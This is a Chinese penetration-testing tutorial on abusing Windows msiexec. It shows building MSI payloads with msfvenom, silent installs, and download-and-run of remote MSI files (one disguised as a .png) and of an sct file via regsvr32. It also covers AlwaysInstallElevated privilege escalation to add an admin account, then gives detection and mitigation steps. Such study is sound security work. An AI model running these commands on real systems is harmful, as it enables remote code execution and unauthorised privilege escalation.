渗透测试中的msiexec

本文讲的是渗透测试中的msiexec


0x00 前言

在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念。关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这次就研究一下msiexec在渗透测试中的利用技巧

0x01 简介

msiexec:

系统进程,是Windows Installer的一部分

用于安装Windows Installer安装包(MSI)

一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大

系统自带,在命令行下使用,参数说明如下:

msiexec /Option <Required Parameter> [Optional Parameter]
Install Options
    </package | /i> <Product.msi>
        Installs or configures a product
    /a <Product.msi>
        Administrative install - Installs a product on the network
    /j<u|m> <Product.msi> [/t <Transform List>] [/g <Language ID>]
        Advertises a product - m to all users, u to current user
    </uninstall | /x> <Product.msi | ProductCode>
        Uninstalls the product
Display Options
    /quiet
        Quiet mode, no user interaction
    /passive
        Unattended mode - progress bar only
    /q[n|b|r|f]
        Sets user interface level
        n - No UI
        b - Basic UI
        r - Reduced UI
        f - Full UI (default)
    /help
        Help information
Restart Options
    /norestart
        Do not restart after the installation is complete
    /promptrestart
        Prompts the user for restart if necessary
    /forcerestart
        Always restart the computer after installation
Logging Options
    /l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*] <LogFile>
        i - Status messages
        w - Nonfatal warnings
        e - All error messages
        a - Start up of actions
        r - Action-specific records
        u - User requests
        c - Initial UI parameters
        m - Out-of-memory or fatal exit information
        o - Out-of-disk-space messages
        p - Terminal properties
        v - Verbose output
        x - Extra debugging information
        + - Append to existing log file
        ! - Flush each line to the log
        * - Log all information, except for v and x options
    /log <LogFile>
        Equivalent of /l* <LogFile>
Update Options
    /update <Update1.msp>[;Update2.msp]
        Applies update(s)
    /uninstall <PatchCodeGuid>[;Update2.msp] /package <Product.msi | ProductCode>
        Remove update(s) for a product
Repair Options
    /f[p|e|c|m|s|o|d|a|u|v] <Product.msi | ProductCode>
        Repairs a product
        p - only if file is missing
        o - if file is missing or an older version is installed (default)
        e - if file is missing or an equal or older version is installed
        d - if file is missing or a different version is installed
        c - if file is missing or checksum does not match the calculated value
        a - forces all files to be reinstalled
        u - all required user-specific registry entries (default)
        m - all required computer-specific registry entries (default)
        s - all existing shortcuts (default)
        v - runs from source and recaches local package
Setting Public Properties
    [PROPERTY=PropertyValue]

0x02 制作.msi文件

1、使用metasploit

msf命令如下:

msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi

运行后生成test.msi

双击可以直接安装,如图,弹出计算器

等价于在命令行下执行如下命令:

msiexec /i test.msi

如下图,同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面

命令行参数如下:

msiexec /q /i test.msi

如图

执行后会在%TEMP%下生成MSI的log文件,如图

MSF为了能够让payload可扩展,生成msi文件的方式如下:

创建一个msi文件模板
在文件的固定位置保留一段地址用来存储payload
在运行过程中读取这个地址的内容并执行

细节可参考如下链接:

http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html

关于msi文件格式可参考:

http://www.forensicswiki.org/w/images/5/5b/Compdocfileformat.pdf

2、使用Advanced Installer

Advanced Installer是一款功能强大、可生成符合MS Windows认证的Windows Installer的MSI 安装包制作工具,具有友好的图形用户界面,直观而且非常简单的界面,是一款很好的 Windows Installer 编写工具

界面如下图,配置界面友好

在自定义行为中选择自定义操作,添加 LaunchFile

设置启动文件等参数,如图

导出msi文件,操作如图

生成文件如图

命令行参数如下:

msiexec /q /i test2.msi

成功弹出cmd.exe,如图

值得注意的是弹出cmd的路径为c:windowsinstallerMSI3646.tmp

查看路径c:windowsinstaller,如图

其中6260236.msi和test2.msi的大小一样(其实就是test2.msi文件)

现在关闭弹出的cmd,再次查看路径c:windowsinstaller,如图

安装结束后,安装文件被删除,只留下.tmp文件,记录安装操作,内容如图

当然,在%TEMP%下也会生成MSI的log文件

0x03 远程执行

之前在文章《Use SCT to Bypass Application Whitelisting Protection》研究过regsvr32的应用技巧,可以在命令行下远程执行服务器上的sct文件 
命令行示例: 

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

msiexec也同样支持这个功能

注:

如下链接介绍了远程执行同快捷方式结合,通过ole对象插入到excel文档进行钓鱼攻击的方法:

https://labs.nettitude.com/blog/fun-with-windows-binaries-application-whitelist-bypass-using-msiexec/

将msi文件上传到服务器,通过如下命令远程执行: 

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/testmsi.png

注:

由于是msf生成的msi文件,所以默认会被杀毒软件拦截,但操作只是一个弹出计算器

将自己开发的msi文件上传到服务器,通过如下命令远程执行: 

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/test3.msi

成功执行msi文件,弹出cmd.exe

如图

0x04 权限提升

利用组策略可以实现权限提升

开启AlwaysInstallElevated特权安装功能:

打开组策略编辑器
用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用
计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用

如图

此时会在注册表如下位置自动创建键值:

[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

接下来,使用powerup完成提权添加用户的操作

powerup地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

检查是否开启AlwaysInstallElevated:

Get-RegistryAlwaysInstallElevated

返回true代表系统开启AlwaysInstallElevated

利用AlwaysInstallElevated添加用户:

Write-UserAddMSI

运行后生成文件UserAdd.msi

这时以普通用户权限运行这个UserAdd.msi,成功添加账户

完整测试如图

成功在普通权限的cmd下添加一个管理员账户

注:

如果获得了对注册表的访问权限,可以通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限,甚至当成提权后门

检测是否开启AlwaysInstallElevated:

查看注册表即可,cmd命令如下:

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

值全为1代表开启AlwaysInstallElevated,否则未开启

0x05 小结

通过msiexec,不仅能够在命令行实现远程下载执行代码,还能应用于权限提升,更多的利用方法值得研究。

当然,对照利用方法进行防御,只要关闭AlwaysInstallElevated,即可阻止通过msi文件的提权利用。

原文发布时间为:2017年1月19日

本文作者:3gstudent 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-08-01 22:10:05

渗透测试中的msiexec的相关文章

渗透测试中搜集AD域信息的常用PS命令

本文讲的是渗透测试中搜集AD域信息的常用PS命令,Microsoft为Windows Server 2008 R2(及更新版本)提供了几个Active Directory PowerShell cmdlet,相比于之前需要将涉及ADSI的冗长代码行放在一起来执行任务,这样的更新很大程度上简化了相关的操作. 在Windows客户端上,安装远程服务器管理工具(RSAT),并确保安装了Active Directory PowerShell模块. 在Windows服务器(2008 R2或更高版本)上,在

渗透测试中的Application Verifier(DoubleAgent利用介绍)

本文讲的是渗透测试中的Application Verifier(DoubleAgent利用介绍), 0x00 前言 近日,Cybellum Technologies LTD公开了一个0-day漏洞的POC,对其命名为"DoubleAgent",可用于控制主流的杀毒软件. 不同于以往的绕过思路,这次使用的是一种直接攻击并劫持的方式,本文将要介绍该方式的原理,分享利用思路.攻击条件和防御方法 0x01 简介 该方式主要是对微软系统自带的Application Verifier(应用程序检验

移动APP安全在渗透测试中的应用(1)

这篇文章从去年很早就想写,一直没时间,刚好过段时间有沙龙是讲这方面的东西,整理了下就有了下文.498)this.width=498;' onmousewheel = 'javascript:return big(this)' style="width: 398px; height: 244px" border="0" alt="移动APP安全在渗透测试中的应用" width="486" height="293&quo

渗透测试中的certutil

本文讲的是渗透测试中的certutil,最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧.本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充,总结base64编码转换的常用方法. 0x01 简介 本文将要介绍以下内容: · certutil.exe在渗透测试中的应用 · downloader常用方法 · base64编码转换常用方法 0x02 certutil简介 用于证书管理

渗透测试中的冷却启动攻击和其他取证技术

这是一个星期四的晚上,快乐时光即将开始.你会尽快走出办公室.你整天都忙于准备一份报告,第二天早上还需继续,因此你将电脑锁屏.这足够安全,是吗?因为你使用了高强度密码,并全盘加密,Ophcrack或者可引导的linux发行版例如kali不起作用.你自认为安全了,其实你错了.为了得到重要材料,攻击者越来越无所不用其极,这包括使用取证领域的最新技术. 计算机中存在一个单独的区块:活动内存,任何一个攻击者都愿意把手伸到这个存储有敏感信息完全未加密的区块.系统为了方便调用,在内存中存储了多种有价值信息:全

渗透测试中如何收集利用 SNMP 协议数据

几个月前,我曾发过一篇博客" SNMP 最佳实践"讲述了一些基本的方法降低来自 SNMP 相关的安全隐患.我想现在大家应该都修复完了,那么是时候来从渗透测试的角度讲述如何通过收集分析数据来发现并利用暴露的 SNMP 服务. 第一个问题是我们如何发现暴露的 SNMP 服务.通常我们会使用端口扫描工具 Nmap 来扫描开放的 UDP 端口 161.鉴于我们只是想有针对性的发现并提取数据,那么使用 Python 或 Perl 小脚本反而会更加方便简单.就我个人来说,我更倾向于使用 Perl,

暗渡陈仓:用低功耗设备进行破解和渗透测试

信息安全技术丛书 暗渡陈仓:用低功耗设备进行 破解和渗透测试 Hacking and Penetration Testing with Low Power Devices [美]菲利普·布勒斯特拉(Philip Polstra)著 桑胜田 翁 睿 阮 鹏 译 图书在版编目(CIP)数据 暗渡陈仓:用低功耗设备进行破解和渗透测试/(美)菲利普·布勒斯特拉(Philip Polstra)著:桑胜田,翁睿,阮鹏译. -北京:机械工业出版社,2016.10 (信息安全技术丛书) 书名原文:Hacking

揭秘渗透测试利器:Webshell批量管理工具QuasiBot

声明:本文介绍的 安全工具仅用于渗透测试及安全教学使用,禁止任何非法用途QuasiBot是 一款php编写的webshell管理工具,可以对webshell进行远程批量管理.这个工具超越于普通的webshell管理 是因为其还拥有安全扫描.漏洞利用测试等功能,可以帮助渗透测试人员进行高效的测试工作.QuasiBot是如何工作的quasiBot 支持对webshell进行远程操作,每一个webshell都会通过md5 hash验证并且每小时替换一次quasiBot (C&C) -[请求/验证]-&g

渗透测试员分享黑客最常利用的那些漏洞

本文讲的是 :  渗透测试员分享黑客最常利用的那些漏洞  ,  [IT168 编译]网站遭到攻击以及各种数据泄露事故(例如Anonymous攻击排名前100的大学)让企业疑惑这些攻击者是如何侵入系统以及为什么这么容易攻击.这些遭受攻击的不同企业中存在哪些常见漏洞?攻击者最常利用的漏洞是哪些? 我们询问了很多渗透测试人员,他们通常能够利用哪些主要漏洞,这些渗透测试人员有些在大学和企业环境工作,有些是每周为各种类型客户执行渗透测试的全职安全顾问. 这些渗透测试人员几乎都有类似的漏洞清单.每份清单的最